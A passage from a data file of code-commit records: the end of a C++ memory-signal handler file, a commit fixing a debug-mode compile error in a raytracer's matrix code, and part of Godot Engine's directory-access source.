SIGSEGV_FAULT_ADDRESS_ALIGNMENT == 0);\n    assert(size % SIGSEGV_FAULT_ADDRESS_ALIGNMENT == 0);\n#endif\n    \/\/ Let's register it in sigsegv and save it in the segment\n    void *ticket = sigsegv_register(&dispatcher, addr, size, callback, idx);\n    segment.add_callback_and_ticket(callback, ticket);\n\n    \/\/ Finally, let's insert the new segment\n    segments.insert(segment);\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nvoid bh_mem_signal_detach(const void *addr) {\n    pthread_mutex_lock(&signal_mutex);\n    auto it = segments.find(addr);\n    if (it != segments.end()) {\n        assert(it->ticket != nullptr);\n        sigsegv_unregister(&dispatcher, it->ticket);\n        segments.erase(it);\n    }\n    pthread_mutex_unlock(&signal_mutex);\n}\n\nint bh_mem_signal_exist(const void *addr) {\n    int ret;\n    pthread_mutex_lock(&signal_mutex);\n    ret = util::exist(segments, addr);\n    pthread_mutex_unlock(&signal_mutex);\n    return ret;\n}\n\nvoid bh_mem_signal_pprint_db(void) {\n    cout << segments << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\/\r\n\/* Copyright (c) 2013 VectorChief (at github, bitbucket, sourceforge)         *\/\r\n\/* Distributed under the MIT software license, see the accompanying           *\/\r\n\/* file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php         *\/\r\n\/******************************************************************************\/\r\n\r\n#include <string.h>\r\n\r\n#include \"rtgeom.h\"\r\n#include \"system.h\"\r\n\r\n\/******************************************************************************\/\r\n\/********************************   MATRICES   ********************************\/\r\n\/******************************************************************************\/\r\n\r\n\/*\r\n * Identity matrix.\r\n *\/\r\nrt_mat4 iden4 =\r\n{\r\n    1.0f,       0.0f,       0.0f,       0.0f,\r\n    0.0f,       1.0f,       0.0f,       0.0f,\r\n    0.0f,       0.0f,       1.0f,       0.0f,\r\n    0.0f,       0.0f,       0.0f,       1.0f,\r\n};\r\n\r\n#if RT_DEBUG == 1\r\n\/*\r\n * Check if given address ranges overlap.\r\n *\/\r\nstatic\r\nrt_bool in_range(rt_real *p1, rt_cell n1, rt_real *p2, rt_cell n2)\r\n{\r\n    if ((p1 >= p2 && p1 < p2 + n2) || (p2 >= p1 && p2 < p1 + n1))\r\n    {\r\n        return RT_TRUE;\r\n    }\r\n\r\n    return RT_FALSE;\r\n}\r\n#endif \/* RT_DEBUG *\/\r\n\r\n\/*\r\n * Multiply matrix by vector.\r\n *\/\r\nrt_void matrix_mul_vector(rt_vec4 vp, rt_mat4 m1, rt_vec4 v1)\r\n{\r\n#if RT_DEBUG == 1\r\n    if (in_range(vp, 4, m1[0], 16) || in_range(vp, 4, v1, 4))\r\n    {\r\n        throw rt_Exception(\"Attempting to multiply vectors in place\");\r\n    }\r\n#endif \/* RT_DEBUG *\/\r\n\r\n    rt_cell i;\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        vp[i] = m1[0][i] * v1[0] + \r\n                m1[1][i] * v1[1] +\r\n                m1[2][i] * v1[2] + \r\n                m1[3][i] * v1[3];\r\n    }\r\n}\r\n\r\n\/*\r\n * Multiply matrix by matrix.\r\n *\/\r\nrt_void matrix_mul_matrix(rt_mat4 mp, rt_mat4 m1, rt_mat4 m2)\r\n{\r\n#if RT_DEBUG == 1\r\n    if (in_range(mp[0], 16, m1[0], 16) || in_range(mp[0], 16, m2[0], 16))\r\n    {\r\n        throw rt_Exception(\"Attempting to multiply matrices in place\");\r\n    }\r\n#endif \/* RT_DEBUG *\/\r\n\r\n    rt_cell i;\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        matrix_mul_vector(mp[i], m1, m2[i]);\r\n    }\r\n}\r\n\r\n\/*\r\n * Compute matrix from transform.\r\n *\/\r\nrt_void matrix_from_transform(rt_mat4 mp, rt_TRANSFORM3D *t1)\r\n{\r\n    rt_mat4 mt;\r\n\r\n    rt_real scl_x = t1->scl[RT_X];\r\n    rt_real scl_y = t1->scl[RT_Y];\r\n    rt_real scl_z = t1->scl[RT_Z];\r\n    rt_mat4 sc =\r\n    {\r\n        scl_x,      0.0f,       0.0f,       0.0f,\r\n        0.0f,       scl_y,      0.0f,       0.0f,\r\n        0.0f,       0.0f,       scl_z,      0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real sin_x = RT_SINA(t1->rot[RT_X]);\r\n    rt_real cos_x = RT_COSA(t1->rot[RT_X]);\r\n    rt_mat4 rx =\r\n    {\r\n        1.0f,       0.0f,       0.0f,       0.0f,\r\n        0.0f,      +cos_x,     +sin_x,      0.0f,\r\n        0.0f,      -sin_x,     +cos_x,      0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real sin_y = RT_SINA(t1->rot[RT_Y]);\r\n    rt_real cos_y = RT_COSA(t1->rot[RT_Y]);\r\n    rt_mat4 ry =\r\n    {\r\n       +cos_y,      0.0f,      -sin_y,      0.0f,\r\n        0.0f,       1.0f,       0.0f,       0.0f,\r\n       +sin_y,      0.0f,      +cos_y,      0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real sin_z = RT_SINA(t1->rot[RT_Z]);\r\n    rt_real cos_z = RT_COSA(t1->rot[RT_Z]);\r\n    rt_mat4 rz =\r\n    {\r\n       +cos_z,     +sin_z,      0.0f,       0.0f,\r\n       -sin_z,     +cos_z,      0.0f,       0.0f,\r\n        0.0f,       0.0f,       1.0f,       0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real pos_x = t1->pos[RT_X];\r\n    rt_real pos_y = t1->pos[RT_Y];\r\n    rt_real pos_z = t1->pos[RT_Z];\r\n    rt_mat4 ps =\r\n    {\r\n        1.0f,       0.0f,       0.0f,       0.0f,\r\n        0.0f,       1.0f,       0.0f,       0.0f,\r\n        0.0f,       0.0f,       1.0f,       0.0f,\r\n        pos_x,      pos_y,      pos_z,      1.0f,\r\n    };\r\n\r\n    matrix_mul_matrix(mt, rx, sc);\r\n    matrix_mul_matrix(mp, ry, mt);\r\n    matrix_mul_matrix(mt, rz, mp);\r\n    matrix_mul_matrix(mp, ps, mt);\r\n}\r\n\r\n\/*\r\n * Compute inverse matrix.\r\n *\/\r\nrt_void matrix_inverse(rt_mat4 mp, rt_mat4 m1)\r\n{\r\n    memset(mp, 0, sizeof(rt_real) * 16);\r\n\r\n    rt_real A = m1[1][1] * m1[2][2] - m1[2][1] * m1[1][2];\r\n    rt_real B = m1[2][1] * m1[0][2] - m1[0][1] * m1[2][2];\r\n    rt_real C = m1[0][1] * m1[1][2] - m1[1][1] * m1[0][2];\r\n\r\n    rt_real D = m1[2][0] * m1[1][2] - m1[1][0] * m1[2][2];\r\n    rt_real E = m1[0][0] * m1[2][2] - m1[2][0] * m1[0][2];\r\n    rt_real F = m1[0][2] * m1[1][0] - m1[0][0] * m1[1][2];\r\n\r\n    rt_real G = m1[1][0] * m1[2][1] - m1[2][0] * m1[1][1];\r\n    rt_real H = m1[2][0] * m1[0][1] - m1[0][0] * m1[2][1];\r\n    rt_real K = m1[0][0] * m1[1][1] - m1[1][0] * m1[0][1];\r\n\r\n    rt_real q = 1.0f \/ (m1[0][0] * A + m1[1][0] * B + m1[2][0] * C);\r\n\r\n    mp[0][0] = A * q;\r\n    mp[0][1] = B * q;\r\n    mp[0][2] = C * q;\r\n\r\n    mp[1][0] = D * q;\r\n    mp[1][1] = E * q;\r\n    mp[1][2] = F * q;\r\n\r\n    mp[2][0] = G * q;\r\n    mp[2][1] = H * q;\r\n    mp[2][2] = K * q;\r\n\r\n#if RT_DEBUG == 1\r\n    rt_cell i, j, k = 0;\r\n\r\n    rt_mat4 tm;\r\n\r\n    matrix_mul_matrix(tm, mp, m1);\r\n\r\n    for (i = 0; i < 3; i++)\r\n    {\r\n        for (j = 0; j < 3; j++)\r\n        {\r\n            if (RT_FABS(tm[i][j] - iden_m[i][j]) > 0.00001)\r\n            {\r\n                k = 1;\r\n                break;\r\n            }\r\n        }\r\n    }\r\n\r\n    if (k == 0)\r\n    {\r\n        return;\r\n    }\r\n\r\n    RT_LOGE(\"Original matrix\\n\");\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        for (j = 0; j < 4; j++)\r\n        {\r\n            RT_LOGE(\"%f \", m1[j][i]);\r\n        }\r\n        RT_LOGE(\"\\n\");\r\n    }\r\n\r\n    RT_LOGE(\"Inverted matrix\\n\");\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        for (j = 0; j < 4; j++)\r\n        {\r\n            RT_LOGE(\"%f \", mp[j][i]);\r\n        }\r\n        RT_LOGE(\"\\n\");\r\n    }\r\n\r\n    throw rt_Exception(\"Inverted matrix mismatch detected.\");\r\n#endif \/* RT_DEBUG *\/\r\n}\r\n\r\n\/******************************************************************************\/\r\n\/******************************************************************************\/\r\n\/******************************************************************************\/\r\n<commit_msg>fix compilation in debug mode<commit_after>\/******************************************************************************\/\r\n\/* Copyright (c) 2013 VectorChief (at github, bitbucket, sourceforge)         *\/\r\n\/* Distributed under the MIT software license, see the accompanying           *\/\r\n\/* file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php         *\/\r\n\/******************************************************************************\/\r\n\r\n#include <string.h>\r\n\r\n#include \"rtgeom.h\"\r\n#include \"system.h\"\r\n\r\n\/******************************************************************************\/\r\n\/********************************   MATRICES   ********************************\/\r\n\/******************************************************************************\/\r\n\r\n\/*\r\n * Identity matrix.\r\n *\/\r\nrt_mat4 iden4 =\r\n{\r\n    1.0f,       0.0f,       0.0f,       0.0f,\r\n    0.0f,       1.0f,       0.0f,       0.0f,\r\n    0.0f,       0.0f,       1.0f,       0.0f,\r\n    0.0f,       0.0f,       0.0f,       1.0f,\r\n};\r\n\r\n#if RT_DEBUG == 1\r\n\/*\r\n * Check if given address ranges overlap.\r\n *\/\r\nstatic\r\nrt_bool in_range(rt_real *p1, rt_cell n1, rt_real *p2, rt_cell n2)\r\n{\r\n    if ((p1 >= p2 && p1 < p2 + n2) || (p2 >= p1 && p2 < p1 + n1))\r\n    {\r\n        return RT_TRUE;\r\n    }\r\n\r\n    return RT_FALSE;\r\n}\r\n#endif \/* RT_DEBUG *\/\r\n\r\n\/*\r\n * Multiply matrix by vector.\r\n *\/\r\nrt_void matrix_mul_vector(rt_vec4 vp, rt_mat4 m1, rt_vec4 v1)\r\n{\r\n#if RT_DEBUG == 1\r\n    if (in_range(vp, 4, m1[0], 16) || in_range(vp, 4, v1, 4))\r\n    {\r\n        throw rt_Exception(\"Attempting to multiply vectors in place\");\r\n    }\r\n#endif \/* RT_DEBUG *\/\r\n\r\n    rt_cell i;\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        vp[i] = m1[0][i] * v1[0] + \r\n                m1[1][i] * v1[1] +\r\n                m1[2][i] * v1[2] + \r\n                m1[3][i] * v1[3];\r\n    }\r\n}\r\n\r\n\/*\r\n * Multiply matrix by matrix.\r\n *\/\r\nrt_void matrix_mul_matrix(rt_mat4 mp, rt_mat4 m1, rt_mat4 m2)\r\n{\r\n#if RT_DEBUG == 1\r\n    if (in_range(mp[0], 16, m1[0], 16) || in_range(mp[0], 16, m2[0], 16))\r\n    {\r\n        throw rt_Exception(\"Attempting to multiply matrices in place\");\r\n    }\r\n#endif \/* RT_DEBUG *\/\r\n\r\n    rt_cell i;\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        matrix_mul_vector(mp[i], m1, m2[i]);\r\n    }\r\n}\r\n\r\n\/*\r\n * Compute matrix from transform.\r\n *\/\r\nrt_void matrix_from_transform(rt_mat4 mp, rt_TRANSFORM3D *t1)\r\n{\r\n    rt_mat4 mt;\r\n\r\n    rt_real scl_x = t1->scl[RT_X];\r\n    rt_real scl_y = t1->scl[RT_Y];\r\n    rt_real scl_z = t1->scl[RT_Z];\r\n    rt_mat4 sc =\r\n    {\r\n        scl_x,      0.0f,       0.0f,       0.0f,\r\n        0.0f,       scl_y,      0.0f,       0.0f,\r\n        0.0f,       0.0f,       scl_z,      0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real sin_x = RT_SINA(t1->rot[RT_X]);\r\n    rt_real cos_x = RT_COSA(t1->rot[RT_X]);\r\n    rt_mat4 rx =\r\n    {\r\n        1.0f,       0.0f,       0.0f,       0.0f,\r\n        0.0f,      +cos_x,     +sin_x,      0.0f,\r\n        0.0f,      -sin_x,     +cos_x,      0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real sin_y = RT_SINA(t1->rot[RT_Y]);\r\n    rt_real cos_y = RT_COSA(t1->rot[RT_Y]);\r\n    rt_mat4 ry =\r\n    {\r\n       +cos_y,      0.0f,      -sin_y,      0.0f,\r\n        0.0f,       1.0f,       0.0f,       0.0f,\r\n       +sin_y,      0.0f,      +cos_y,      0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real sin_z = RT_SINA(t1->rot[RT_Z]);\r\n    rt_real cos_z = RT_COSA(t1->rot[RT_Z]);\r\n    rt_mat4 rz =\r\n    {\r\n       +cos_z,     +sin_z,      0.0f,       0.0f,\r\n       -sin_z,     +cos_z,      0.0f,       0.0f,\r\n        0.0f,       0.0f,       1.0f,       0.0f,\r\n        0.0f,       0.0f,       0.0f,       1.0f,\r\n    };\r\n\r\n    rt_real pos_x = t1->pos[RT_X];\r\n    rt_real pos_y = t1->pos[RT_Y];\r\n    rt_real pos_z = t1->pos[RT_Z];\r\n    rt_mat4 ps =\r\n    {\r\n        1.0f,       0.0f,       0.0f,       0.0f,\r\n        0.0f,       1.0f,       0.0f,       0.0f,\r\n        0.0f,       0.0f,       1.0f,       0.0f,\r\n        pos_x,      pos_y,      pos_z,      1.0f,\r\n    };\r\n\r\n    matrix_mul_matrix(mt, rx, sc);\r\n    matrix_mul_matrix(mp, ry, mt);\r\n    matrix_mul_matrix(mt, rz, mp);\r\n    matrix_mul_matrix(mp, ps, mt);\r\n}\r\n\r\n\/*\r\n * Compute inverse matrix.\r\n *\/\r\nrt_void matrix_inverse(rt_mat4 mp, rt_mat4 m1)\r\n{\r\n    memset(mp, 0, sizeof(rt_real) * 16);\r\n\r\n    rt_real A = m1[1][1] * m1[2][2] - m1[2][1] * m1[1][2];\r\n    rt_real B = m1[2][1] * m1[0][2] - m1[0][1] * m1[2][2];\r\n    rt_real C = m1[0][1] * m1[1][2] - m1[1][1] * m1[0][2];\r\n\r\n    rt_real D = m1[2][0] * m1[1][2] - m1[1][0] * m1[2][2];\r\n    rt_real E = m1[0][0] * m1[2][2] - m1[2][0] * m1[0][2];\r\n    rt_real F = m1[0][2] * m1[1][0] - m1[0][0] * m1[1][2];\r\n\r\n    rt_real G = m1[1][0] * m1[2][1] - m1[2][0] * m1[1][1];\r\n    rt_real H = m1[2][0] * m1[0][1] - m1[0][0] * m1[2][1];\r\n    rt_real K = m1[0][0] * m1[1][1] - m1[1][0] * m1[0][1];\r\n\r\n    rt_real q = 1.0f \/ (m1[0][0] * A + m1[1][0] * B + m1[2][0] * C);\r\n\r\n    mp[0][0] = A * q;\r\n    mp[0][1] = B * q;\r\n    mp[0][2] = C * q;\r\n\r\n    mp[1][0] = D * q;\r\n    mp[1][1] = E * q;\r\n    mp[1][2] = F * q;\r\n\r\n    mp[2][0] = G * q;\r\n    mp[2][1] = H * q;\r\n    mp[2][2] = K * q;\r\n\r\n#if RT_DEBUG == 1\r\n    rt_cell i, j, k = 0;\r\n\r\n    rt_mat4 tm;\r\n\r\n    matrix_mul_matrix(tm, mp, m1);\r\n\r\n    for (i = 0; i < 3; i++)\r\n    {\r\n        for (j = 0; j < 3; j++)\r\n        {\r\n            if (RT_FABS(tm[i][j] - iden4[i][j]) > 0.00001)\r\n            {\r\n                k = 1;\r\n                break;\r\n            }\r\n        }\r\n    }\r\n\r\n    if (k == 0)\r\n    {\r\n        return;\r\n    }\r\n\r\n    RT_LOGE(\"Original matrix\\n\");\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        for (j = 0; j < 4; j++)\r\n        {\r\n            RT_LOGE(\"%f \", m1[j][i]);\r\n        }\r\n        RT_LOGE(\"\\n\");\r\n    }\r\n\r\n    RT_LOGE(\"Inverted matrix\\n\");\r\n\r\n    for (i = 0; i < 4; i++)\r\n    {\r\n        for (j = 0; j < 4; j++)\r\n        {\r\n            RT_LOGE(\"%f \", mp[j][i]);\r\n        }\r\n        RT_LOGE(\"\\n\");\r\n    }\r\n\r\n    throw rt_Exception(\"Inverted matrix mismatch detected.\");\r\n#endif \/* RT_DEBUG *\/\r\n}\r\n\r\n\/******************************************************************************\/\r\n\/******************************************************************************\/\r\n\/******************************************************************************\/\r\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\/\n\/*  dir_access.cpp                                                       *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2022 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2022 Godot Engine contributors (cf. AUTHORS.md).   *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"dir_access.h\"\n\n#include \"core\/config\/project_settings.h\"\n#include \"core\/io\/file_access.h\"\n#include \"core\/os\/memory.h\"\n#include \"core\/os\/os.h\"\n\nString DirAccess::_get_root_path() const {\n\tswitch (_access_type) {\n\t\tcase ACCESS_RESOURCES:\n\t\t\treturn ProjectSettings::get_singleton()->get_resource_path();\n\t\tcase ACCESS_USERDATA:\n\t\t\treturn OS::get_singleton()->get_user_data_dir();\n\t\tdefault:\n\t\t\treturn \"\";\n\t}\n}\n\nString DirAccess::_get_root_string() const {\n\tswitch (_access_type) {\n\t\tcase ACCESS_RESOURCES:\n\t\t\treturn \"res:\/\/\";\n\t\tcase ACCESS_USERDATA:\n\t\t\treturn \"user:\/\/\";\n\t\tdefault:\n\t\t\treturn \"\";\n\t}\n}\n\nint DirAccess::get_current_drive() {\n\tString path = get_current_dir().to_lower();\n\tfor (int i = 0; i < get_drive_count(); i++) {\n\t\tString d = get_drive(i).to_lower();\n\t\tif (path.begins_with(d)) {\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nbool DirAccess::drives_are_shortcuts() {\n\treturn false;\n}\n\nstatic Error _erase_recursive(DirAccess *da) {\n\tList<String> dirs;\n\tList<String> files;\n\n\tda->list_dir_begin();\n\tString n = da->get_next();\n\twhile (!n.is_empty()) {\n\t\tif (n != \".\" && n != \"..\") {\n\t\t\tif (da->current_is_dir()) {\n\t\t\t\tdirs.push_back(n);\n\t\t\t} else {\n\t\t\t\tfiles.push_back(n);\n\t\t\t}\n\t\t}\n\n\t\tn = da->get_next();\n\t}\n\n\tda->list_dir_end();\n\n\tfor (const String &E : dirs) {\n\t\tError err = da->change_dir(E);\n\t\tif (err == OK) {\n\t\t\terr = _erase_recursive(da);\n\t\t\tif (err) {\n\t\t\t\tda->change_dir(\"..\");\n\t\t\t\treturn err;\n\t\t\t}\n\t\t\terr = da->change_dir(\"..\");\n\t\t\tif (err) {\n\t\t\t\treturn err;\n\t\t\t}\n\t\t\terr = da->remove(da->get_current_dir().plus_file(E));\n\t\t\tif (err) {\n\t\t\t\treturn err;\n\t\t\t}\n\t\t} else {\n\t\t\treturn err;\n\t\t}\n\t}\n\n\tfor (const String &E : files) {\n\t\tError err = da->remove(da->get_current_dir().plus_file(E));\n\t\tif (err) {\n\t\t\treturn err;\n\t\t}\n\t}\n\n\treturn OK;\n}\n\nError DirAccess::erase_contents_recursive() {\n\treturn _erase_recursive(this);\n}\n\nError DirAccess::make_dir_recursive(String p_dir) {\n\tif (p_dir.length() < 1) {\n\t\treturn OK;\n\t}\n\n\tString full_dir;\n\n\tif (p_dir.is_relative_path()) {\n\t\t\/\/append current\n\t\tfull_dir = get_current_dir().plus_file(p_dir);\n\n\t} else {\n\t\tfull_dir = p_dir;\n\t}\n\n\tfull_dir = full_dir.replace(\"\\\\\", \"\/\");\n\n\tString base;\n\n\tif (full_dir.begins_with(\"res:\/\/\")) {\n\t\tbase = \"res:\/\/\";\n\t} else if (full_dir.begins_with(\"user:\/\/\")) {\n\t\tbase = \"user:\/\/\";\n\t} else if (full_dir.is_network_share_path()) {\n\t\tint pos = full_dir.find(\"\/\", 2);\n\t\tERR_FAIL_COND_V(pos < 0, ERR_INVALID_PARAMETER);\n\t\tpos = full_dir.find(\"\/\", pos + 1);\n\t\tERR_FAIL_COND_V(pos < 0, ERR_INVALID_PARAMETER);\n\t\tbase = full_dir.substr(0, pos + 1);\n\t} else if (full_dir.begins_with(\"\/\")) {\n\t\tbase = \"\/\";\n\t} else if (full_dir.contains(\":\/\")) {\n\t\tbase = full_dir.substr(0, full_dir.find(\":\/\") + 2);\n\t} else {\n\t\tERR_FAIL_V(ERR_INVALID_PARAMETER);\n\t}\n\n\tfull_dir = full_dir.replace_first(base, \"\").simplify_path();\n\n\tVector<String> subdirs = full_dir.split(\"\/\");\n\n\tString curpath = base;\n\tfor (int i = 0; i < subdirs.size(); i++) {\n\t\tcurpath = curpath.plus_file(subdirs[i]);\n\t\tError err = make_dir(curpath);\n\t\tif (err != OK && err != ERR_ALREADY_EXISTS) {\n\t\t\tERR_FAIL_V_MSG(err, \"Could not create directory: \" + curpath);\n\t\t}\n\t}\n\n\treturn OK;\n}\n\nDirAccess::AccessType DirAccess::get_access_type() const {\n\treturn _access_type;\n}\n\nString DirAccess::fix_path(String p_path) const {\n\tswitch (_access_type) {\n\t\tcase ACCESS_RESOURCES: {\n\t\t\tif (ProjectSettings::get_singleton()) {\n\t\t\t\tif (p_path.begins_with(\"res:\/\/\")) {\n\t\t\t\t\tString resource_path = ProjectSettings::get_singleton()->get_resource_path();\n\t\t\t\t\tif (!resource_path.is_empty()) {\n\t\t\t\t\t\treturn p_path.replace_first(\"res:\/\", resource_path);\n\t\t\t\t\t}\n\t\t\t\t\treturn p_path.replace_first(\"res:\/\/\", \"\");\n\t\t\t\t}\n\t\t\t}\n\n\t\t} break;\n\t\tcase ACCESS_USERDATA: {\n\t\t\tif (p_path.begins_with(\"user:\/\/\")) {\n\t\t\t\tString data_dir = OS::get_singleton()->get_user_data_dir();\n\t\t\t\tif (!data_dir.is_empty()) {\n\t\t\t\t\treturn p_path.replace_first(\"user:\/\", data_dir);\n\t\t\t\t}\n\t\t\t\treturn p_path.replace_first(\"user:\/\/\", \"\");\n\t\t\t}\n\n\t\t} break;\n\t\tcase ACCESS_FILESYSTEM: {\n\t\t\treturn p_path;\n\t\t} break;\n\t\tcase ACCESS_MAX:\n\t\t\tbreak; \/\/ Can't happen, but silences warning\n\t}\n\n\treturn p_path;\n}\n\nDirAccess::CreateFunc DirAccess::create_func[ACCESS_MAX] = { nullptr, nullptr, nullptr };\n\nRef<DirAccess> DirAccess::create_for_path(const String &p_path) {\n\tRef<DirAccess> da;\n\tif (p_path.begins_with(\"res:\/\/\")) {\n\t\tda = create(ACCESS_RESOURCES);\n\t} else if (p_path.begins_with(\"user:\/\/\")) {\n\t\tda = create(ACCESS_USERDATA);\n\t} else {\n\t\tda = create(ACCESS_FILESYSTEM);\n\t}\n\n\treturn da;\n}\n\nRef<DirAccess> DirAccess::open(const String &p_path, Error *r_error) {\n\tRef<DirAccess> da = create_for_path(p_path);\n\tERR_FAIL_COND_V_MSG(da.is_null(), nullptr, \"Cannot create DirAccess for path '\" + p_path + \"'.\");\n\tError err = da->change_dir(p_path);\n\tif (r_error) {\n\t\t*r_error = err;\n\t}\n\tif (err != OK) {\n\t\treturn nullptr;\n\t}\n\n\treturn da;\n}\n\nRef<DirAccess> DirAccess::create(AccessType p_access) {\n\tRef<DirAccess> da = create_func[p_access] ? create_func[p_access]() : nullptr;\n\tif (da.is_valid()) {\n\t\tda->_access_type = p_access;\n\n\t\t\/\/ for ACCESS_RESOURCES and ACCESS_FILESYSTEM, current_dir already defaults to where game was started\n\t\t\/\/ in case current directory is force changed elsewhere for ACCESS_RESOURCES\n\t\tif (p_access == ACCESS_RESOURCES) {\n\t\t\tda->change_dir(\"res:\/\/\");\n\t\t} else if (p_access == ACCESS_USERDATA) {\n\t\t\tda->change_dir(\"user:\/\/\");\n\t\t}\n\t}\n\n\treturn da;\n}\n\nString DirAccess::get_full_path(const String &p_path, AccessType p_access) {\n\tRef<DirAccess> d = DirAccess::create(p_access);\n\tif (d.is_null()) {\n\t\treturn p_path;\n\t}\n\n\td->change_dir(p_path);\n\tString full = d->get_current_dir();\n\treturn full;\n}\n\nError DirAccess::copy(String p_from, String p_to, int p_chmod_flags) {\n\t\/\/printf(\"copy %s -> %s\\n\",p_from.ascii().get_data(),p_to.ascii().get_data());\n\tError err;\n\t{\n\t\tRef<FileAccess> fsrc = FileAccess::open(p_from, FileAccess::READ, &err);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Failed to open \" + p_from);\n\n\t\tRef<FileAccess> fdst = FileAccess::open(p_to, FileAccess::WRITE, &err);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Failed to open \" + p_to);\n\n\t\tfsrc->seek_end(0);\n\t\tint size = fsrc->get_position();\n\t\tfsrc->seek(0);\n\t\terr = OK;\n\t\twhile (size--) {\n\t\t\tif (fsrc->get_error() != OK) {\n\t\t\t\terr = fsrc->get_error();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (fdst->get_error() != OK) {\n\t\t\t\terr = fdst->get_error();\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tfdst->store_8(fsrc->get_8());\n\t\t}\n\t}\n\n\tif (err == OK && p_chmod_flags != -1) {\n\t\terr = FileAccess::set_unix_permissions(p_to, p_chmod_flags);\n\t\t\/\/ If running on a platform with no chmod support (i.e., Windows), don't fail\n\t\tif (err == ERR_UNAVAILABLE) {\n\t\t\terr = OK;\n\t\t}\n\t}\n\n\treturn err;\n}\n\n\/\/ Changes dir for the current scope, returning back to the original dir\n\/\/ when scope exits\nclass DirChanger {\n\tDirAccess *da;\n\tString original_dir;\n\npublic:\n\tDirChanger(DirAccess *p_da, String p_dir) :\n\t\t\tda(p_da),\n\t\t\toriginal_dir(p_da->get_current_dir()) {\n\t\tp_da->change_dir(p_dir);\n\t}\n\n\t~DirChanger() {\n\t\tda->change_dir(original_dir);\n\t}\n};\n\nError DirAccess::_copy_dir(Ref<DirAccess> &p_target_da, String p_to, int p_chmod_flags, bool p_copy_links) {\n\tList<String> dirs;\n\n\tString curdir = get_current_dir();\n\tlist_dir_begin();\n\tString n = get_next();\n\twhile (!n.is_empty()) {\n\t\tif (n != \".\" && n != \"..\") {\n\t\t\tif (p_copy_links && is_link(get_current_dir().plus_file(n))) {\n\t\t\t\tcreate_link(read_link(get_current_dir().plus_file(n)), p_to + n);\n\t\t\t} else if (current_is_dir()) {\n\t\t\t\tdirs.push_back(n);\n\t\t\t} else {\n\t\t\t\tconst String &rel_path = n;\n\t\t\t\tif (!n.is_relative_path()) {\n\t\t\t\t\tlist_dir_end();\n\t\t\t\t\treturn ERR_BUG;\n\t\t\t\t}\n\t\t\t\tError err = copy(get_current_dir().plus_file(n), p_to + rel_path, p_chmod_flags);\n\t\t\t\tif (err) {\n\t\t\t\t\tlist_dir_end();\n\t\t\t\t\treturn err;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tn = get_next();\n\t}\n\n\tlist_dir_end();\n\n\tfor (const String &rel_path : dirs) {\n\t\tString target_dir = p_to + rel_path;\n\t\tif (!p_target_da->dir_exists(target_dir)) {\n\t\t\tError err = p_target_da->make_dir(target_dir);\n\t\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Cannot create directory '\" + target_dir + \"'.\");\n\t\t}\n\n\t\tError err = change_dir(rel_path);\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Cannot change current directory to '\" + rel_path + \"'.\");\n\n\t\terr = _copy_dir(p_target_da, p_to + rel_path + \"\/\", p_chmod_flags, p_copy_links);\n\t\tif (err) {\n\t\t\tchange_dir(\"..\");\n\t\t\tERR_FAIL_V_MSG(err, \"Failed to copy recursively.\");\n\t\t}\n\t\terr = change_dir(\"..\");\n\t\tERR_FAIL_COND_V_MSG(err != OK, err, \"Failed to go back.\");\n\t}\n\n\treturn 